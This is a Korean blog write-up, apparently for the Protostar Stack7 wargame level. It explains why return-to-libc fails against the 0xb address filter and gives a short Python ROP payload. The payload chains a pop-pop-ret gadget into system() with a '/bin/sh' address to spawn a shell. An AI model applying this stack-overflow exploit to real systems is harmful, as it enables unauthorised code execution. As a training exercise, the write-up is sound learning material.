이번엔 0xb를 필터링합니다.
지금까지 사용하던 system 함수의 주소가 0xb7ecffb0이었으니 RTL은 못쓰겠네요.
ROP를 써봅시다.
#coding: utf-8 from struct import pack, unpack p = lambda x: pack("<L", x) up = lambda x: pack("<L", x)[0] system = 0xb7ecffb0 binsh = 0xb7fb63bf ppr = 0x80485c7 payload = 'A'*80 payload += p(ppr) payload += 'BBBB' payload += 'BBBB' payload += p(system) payload += 'CCCC' payload += p(binsh) print payload
stack7.py
objdump에서 뽑아낸 ppr 가젯을 이용하여 ROP를 때려줍시다.
쉘을 따줍니다.
'Wargame > Protostar:Exploit-Exercises' 카테고리의 다른 글
[Protostar : Exploit-Exercises] Format1 (0) | 2016.09.24 |
---|---|
[Protostar : Exploit-Exercises] Format0 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack6 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack5 (0) | 2016.09.24 |
[Protostar : Exploit-Exercises] Stack4 (0) | 2016.09.24 |